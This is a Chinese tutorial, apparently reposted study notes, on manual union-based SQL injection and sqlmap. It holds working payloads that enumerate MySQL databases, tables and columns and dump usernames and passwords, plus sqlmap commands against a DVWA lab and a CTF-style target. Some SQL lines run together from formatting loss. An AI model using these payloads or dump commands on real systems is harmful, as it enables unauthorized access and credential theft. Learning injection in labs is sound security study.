SQLI手动注入和python sqlmap代码注入

编程入门 行业动态 更新时间:2024-10-28 09:20:25

SQLI手动注入和python sqlmap<a href=https://www.elefans.com/category/jswz/34/1771412.html style=代码注入"/>

SQLI手动注入和python sqlmap代码注入

sql教程:

.asp

数据库:

mysql 
oracle
mssql

常用方法

system_user()           系统用户名
user()                  用户名
current_user()          当前用户名
session_user()          连接数据库的用户名
database()              数据库名
version()               数据库版本
@@datadir               数据库路径
@@basedir               数据库安装路径
@@version_compile_os    操作系统
concat(str1,str2)       把str1和str2拼接到一起
group_concat()          一次性获取所有的数据库信息information_schema.schemata   包含了数据库里所有的数据库
schema_name                  储存了所有数据库的库名
table_schema                  数据库名
information_schema.tables      包含了数据库里所有的表
table_name                     表名
information_schema.columns     包含了数据库里所有的字段
column_name                    字段名

关键字

UNION
order by

注释

#
--   前后需要空格
-- #
--+  推荐使用这个,+会解释成空格

推测后台php处理id拼接的方法

$_id = $_GET['id']
如果是整型的话
$_sql = "select username,password from users where id=$_id"
$_sql = "select username,password from users where id="
如果是字符型的话
$_sql = "select username,password from users where id='$_id'"
$_sql = "select username,password from users where id='1' --+'"

【SQL注入方法】:
第一步,推测后台php存在整型注入还是字符型注入

1'
1' --+
1"
1" --+
1')
1') --+
1")
1") --+

第二步,使用order by确定列数

1' order by 1 --+
1' order by 2 --+
1' order by 3 --+
如果执行1' order by 4 --+报错,则只有3列

第三步,使用union 联合查询,将id弄成一个负数或0值,使前面的语句失效,然后看看union查询是否有回显位

?id=0' union select 1,version(),database() --+

查询出所有数据库名

?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

第四步,查询出指定数据库database()中的所有表名

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

第五步,查询出指定表’users’中的所有字段名

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步,查询出指定指定表user中的所有字段数值,0x5c表示用户名和密码用\分割,易于观察

?id=0' union select 1,2,group_concat(username,0x5c,password) from users --+

【job1】如何实现多行结果拼接

sql语句
select first_name from users #查询users表中的姓
select first_name from users --+ 查询users表中的姓
select * from users
select first_name from users where user_id=4 --+ 查询users表中id为4的姓
select version()
SELECT first_name FROM users
UNION
SELECT comment FROM guestbookSELECT first_name FROM users where user_id=1
select comment from guestbookselect concat((SELECT first_name FROM users where user_id=1),(select comment from guestbook))select concat((SELECT first_name FROM users),(select comment from guestbook))select * from information_schema.tables
select table_name from information_schema.tables#以下在security库中查询
select username,`password` from users where id='1'
select username,`password` from users where id=0 union select 1,version(),database(),2select 1select username,`password` from users order by 1

【pytho sqlmap使用方法】


python sqlmap.py -h
python sqlmap.py -u "http://220.249.52.134:58790/?inject=1" --dbs
python sqlmap.py -u "http://220.249.52.134:58790/?inject=1" -D supersqli --tables
python sqlmap.py -u "http://129.11.0.246/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users --column
python sqlmap.py -u "http://129.11.0.246/dvwa/vulnerabilities/sqli/?id=1" -D dvwa -T users -C user,password --dump

更多推荐

SQLI手动注入和python sqlmap代码注入

本文发布于:2023-11-15 13:09:22,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1600212.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:代码   SQLI   python   sqlmap

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!